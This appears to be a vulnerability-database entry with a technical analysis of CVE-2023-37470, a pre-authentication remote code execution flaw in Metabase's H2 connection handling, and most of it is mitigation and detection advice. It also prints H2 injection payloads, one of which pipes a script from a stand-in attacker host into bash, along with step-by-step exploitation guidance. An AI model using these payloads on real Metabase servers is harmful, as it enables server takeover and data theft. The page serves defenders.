CVE-2023-37470
CVE-2023-37470
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
Metabase is an open-source business intelligence and analytics platform. Prior to versions 0.43.7.3, 0.44.7.3, 0.45.4.3, 0.46.6.4, 1.43.7.3, 1.44.7.3, 1.45.4.3, and 1.46.6.4, a vulnerability could potentially allow remote code execution on one's Metabase server. The core issue is that one of the supported data warehouses (an embedded in-memory database H2), exposes a number of ways for a connection string to include code that is then executed by the process running the embedded database. Because Metabase allows users to connect to databases, this means that a user supplied string can be used to inject executable code. Metabase allows users to validate their connection string before adding a database (including on setup), and this validation API was the primary vector used as it can be called without validation. Versions 0.43.7.3, 0.44.7.3, 0.45.4.3, 0.46.6.4, 1.43.7.3, 1.44.7.3, 1.45.4.3, and 1.46.6.4 fix this issue by removing the ability of users to add H2 databases entirely. As a workaround, it is possible to block these vulnerabilities at the network level by blocking the endpoints `POST /api/database`, `PUT /api/database/:id`, and `POST /api/setup/validateuntil`. Those who use H2 as a file-based database should migrate to SQLite.
Comprehensive Technical Analysis of CVE-2023-37470 (Metabase Remote Code Execution Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2023-37470 CVSS Score: 10.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Vulnerability Type: Remote Code Execution (RCE) via Connection String Injection Root Cause: Improper sanitization of user-supplied H2 database connection strings, leading to arbitrary code execution in the context of the Metabase server process.
Severity Justification
- Attack Vector (AV:N): Exploitable remotely over a network without authentication.
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No privileges needed; unauthenticated attackers can exploit.
- User Interaction (UI:N): No user interaction required.
- Scope (S:C): Changes scope; impacts the underlying host system.
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of the Metabase server, including data exfiltration, system modification, and denial of service.
This vulnerability is critical due to its pre-authentication RCE nature, allowing attackers to gain full control over the Metabase server and potentially pivot into internal networks.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism
The vulnerability stems from Metabase’s support for H2 database connection strings, which can include arbitrary Java code execution via:
- H2’s
RUNSCRIPT(executes SQL scripts from a URL or file) - H2’s
TRACE_LEVEL_FILE(can write arbitrary files) - H2’s
INIT(executes SQL on database initialization) - H2’s
JDBCdriver features (e.g.,;IFEXISTS=TRUEwith malicious payloads)
An attacker can craft a malicious H2 connection string (e.g., jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql') and submit it via:
POST /api/database(Add a new database)PUT /api/database/:id(Modify an existing database)POST /api/setup/validate(Validate a connection string during setup)
Since no authentication is required for the /api/setup/validate endpoint, this is the primary attack vector.
Exploitation Steps
-
Reconnaissance:
- Identify a vulnerable Metabase instance (e.g., via Shodan, Censys, or manual discovery).
- Check if the
/api/setup/validateendpoint is exposed.
-
Payload Crafting:
- Construct a malicious H2 connection string containing arbitrary Java code (e.g., reverse shell, file write, or command execution).
- Example:
jdbc:h2:mem:test;INIT=CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC('curl http://attacker.com/shell.sh | bash')
-
Exploitation:
- Send a
POSTrequest to/api/setup/validatewith the malicious connection string. - If successful, the Metabase server executes the embedded Java code.
- Send a
-
Post-Exploitation:
- Establish persistence (e.g., via cron jobs, web shells).
- Exfiltrate sensitive data (e.g., database credentials, BI reports).
- Pivot into internal networks if Metabase has access to other systems.
Proof-of-Concept (PoC) Considerations
- A public PoC may emerge, increasing exploitation risk.
- Attackers could automate exploitation via Metasploit modules or custom scripts.
- No authentication required makes this a prime target for mass scanning and exploitation.
3. Affected Systems and Software Versions
Vulnerable Versions
| Metabase Version | Fixed Version |
|---|---|
| < 0.43.7.3 | 0.43.7.3 |
| < 0.44.7.3 | 0.44.7.3 |
| < 0.45.4.3 | 0.45.4.3 |
| < 0.46.6.4 | 0.46.6.4 |
| < 1.43.7.3 | 1.43.7.3 |
| < 1.44.7.3 | 1.44.7.3 |
| < 1.45.4.3 | 1.45.4.3 |
| < 1.46.6.4 | 1.46.6.4 |
Affected Components
- Metabase Server (all deployments, including Docker, Kubernetes, and standalone JAR)
- H2 Database Engine (embedded in Metabase)
- API Endpoints:
POST /api/databasePUT /api/database/:idPOST /api/setup/validate
Unaffected Systems
- Metabase instances not using H2 (e.g., PostgreSQL, MySQL, BigQuery).
- Metabase versions patched as listed above.
4. Recommended Mitigation Strategies
Immediate Actions (Critical Priority)
-
Apply Patches Immediately:
- Upgrade to the latest patched version:
- 0.43.7.3, 0.44.7.3, 0.45.4.3, 0.46.6.4 (for older branches)
- 1.43.7.3, 1.44.7.3, 1.45.4.3, 1.46.6.4 (for newer branches)
- Note: The patch removes H2 database support entirely, forcing migration to SQLite or another database.
- Upgrade to the latest patched version:
-
Network-Level Protections:
- Block the following endpoints at the WAF, reverse proxy, or firewall level:
POST /api/databasePUT /api/database/:idPOST /api/setup/validate
- Restrict access to Metabase’s admin interface via IP whitelisting.
- Block the following endpoints at the WAF, reverse proxy, or firewall level:
-
Temporary Workarounds (If Patching is Delayed):
- Disable H2 database support via configuration (if possible).
- Monitor for suspicious connection strings in logs (e.g.,
INIT=,RUNSCRIPT,TRACE_LEVEL_FILE). - Isolate Metabase in a DMZ or restricted VLAN to limit lateral movement.
-
Migration from H2:
- If using H2 as a file-based database, migrate to SQLite (recommended) or another supported database.
- Follow Metabase’s migration guide.
Long-Term Security Hardening
-
Least Privilege Principle:
- Run Metabase with minimal OS-level permissions (e.g., non-root user).
- Restrict database user permissions (e.g., read-only where possible).
-
API Security:
- Disable unused API endpoints (e.g.,
/api/setup/validateif not needed). - Implement rate limiting to prevent brute-force attacks.
- Enable JWT or OAuth2 for API authentication.
- Disable unused API endpoints (e.g.,
-
Logging and Monitoring:
- Enable detailed logging for database connection attempts.
- Set up alerts for suspicious connection strings (e.g., containing
INIT=,RUNSCRIPT). - Integrate with SIEM (e.g., Splunk, ELK, Wazuh) for anomaly detection.
-
Network Segmentation:
- Isolate Metabase from internal databases and critical systems.
- Use a reverse proxy (e.g., Nginx, Apache) with strict access controls.
-
Regular Vulnerability Scanning:
- Scan for exposed Metabase instances using tools like Nmap, Nuclei, or Shodan.
- Automate patch management to ensure timely updates.
5. Impact on the Cybersecurity Landscape
Exploitation Risks
-
Mass Exploitation Likely: Given the CVSS 10.0 score and pre-auth RCE nature, this vulnerability is highly attractive to threat actors, including:
- Ransomware groups (e.g., LockBit, BlackCat) for initial access.
- APT groups (e.g., state-sponsored actors) for espionage.
- Cryptojacking campaigns (e.g., deploying XMRig miners).
- Botnet operators (e.g., Mirai, Kinsing) for DDoS or spam.
-
Supply Chain Risks:
- Metabase is widely used in enterprise BI environments, often integrated with data lakes, warehouses, and internal databases.
- Compromise could lead to data exfiltration, credential theft, or lateral movement into other systems.
Broader Implications
-
Increased Focus on BI Tool Security:
- Similar vulnerabilities may exist in other BI/analytics platforms (e.g., Tableau, Power BI, Superset).
- Organizations should audit all BI tools for RCE risks.
-
Shift in Attack Surface:
- Attackers are increasingly targeting business intelligence and data analytics tools due to their access to sensitive data and integration with critical systems.
-
Regulatory and Compliance Risks:
- GDPR, HIPAA, CCPA: Unauthorized access to BI data could lead to regulatory fines and reputational damage.
- PCI DSS: If Metabase processes payment data, this could result in non-compliance.
6. Technical Details for Security Professionals
Vulnerability Root Cause Analysis
-
H2 Database Engine Features:
- H2 supports arbitrary Java code execution via connection strings (e.g.,
INIT=,RUNSCRIPT). - Example of a malicious connection string:
jdbc:h2:mem:test;INIT=CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC('id') - This executes the
idcommand on the host system.
- H2 supports arbitrary Java code execution via connection strings (e.g.,
-
Metabase’s Flaw:
- No input sanitization on H2 connection strings.
- No authentication required for
/api/setup/validate. - H2 was allowed by default, even though it is not recommended for production.
Exploitation Detection
-
Log Indicators:
- Unusual
POST /api/setup/validaterequests with H2 connection strings. - Log entries containing:
INIT=RUNSCRIPT FROM 'http://malicious.com/payload.sql' TRACE_LEVEL_FILE=2;CREATE ALIAS... - Java process execution (e.g.,
Runtime.exec()calls) in Metabase logs.
- Unusual
-
Network Indicators:
- Outbound connections to unexpected IPs (e.g., attacker-controlled servers).
- DNS lookups for suspicious domains (e.g.,
attacker.com).
-
Host-Based Indicators:
- Unexpected child processes spawned by Metabase (e.g.,
/bin/sh,curl,wget). - New files in
/tmp/or other writable directories.
- Unexpected child processes spawned by Metabase (e.g.,
Forensic Analysis Considerations
-
Memory Forensics:
- Use Volatility or Rekall to analyze Metabase’s Java process for injected code.
- Look for unusual class loading (e.g.,
java.lang.Runtime).
-
Disk Forensics:
- Check for malicious H2 database files (
*.db,*.trace.db). - Review Metabase logs (
/var/log/metabase/,logs/metabase.log).
- Check for malicious H2 database files (
-
Network Forensics:
- Analyze PCAPs for malicious connection strings.
- Check proxy logs for outbound requests to attacker infrastructure.
Advanced Mitigation Techniques
- Runtime Application Self-Protection (RASP):
- Deploy RASP solutions (e.g., Contrast Security, Hdiv) to block malicious H2 payloads.
- Java Security Manager:
- Enable the Java Security Manager to restrict
Runtime.exec()and file operations.
- Enable the Java Security Manager to restrict
- Container Hardening:
- If running in Docker/Kubernetes, apply seccomp profiles to block
execvesyscalls. - Use read-only filesystems where possible.
- If running in Docker/Kubernetes, apply seccomp profiles to block
Conclusion
CVE-2023-37470 is a critical pre-authentication RCE vulnerability in Metabase, stemming from unsafe H2 database connection string handling. Due to its CVSS 10.0 severity and ease of exploitation, organizations must patch immediately, block vulnerable endpoints, and migrate away from H2 to mitigate risk.
Security teams should monitor for exploitation attempts, harden Metabase deployments, and audit other BI tools for similar vulnerabilities. Given the high likelihood of mass exploitation, this vulnerability poses a significant threat to enterprise environments and should be treated as a top priority.
Recommended Next Steps
- Patch all Metabase instances to the latest secure version.
- Block vulnerable API endpoints at the network level.
- Migrate from H2 to SQLite or another supported database.
- Enable logging and monitoring for suspicious activity.
- Conduct a security audit of all BI/analytics tools in the environment.
For further details, refer to the official Metabase advisory.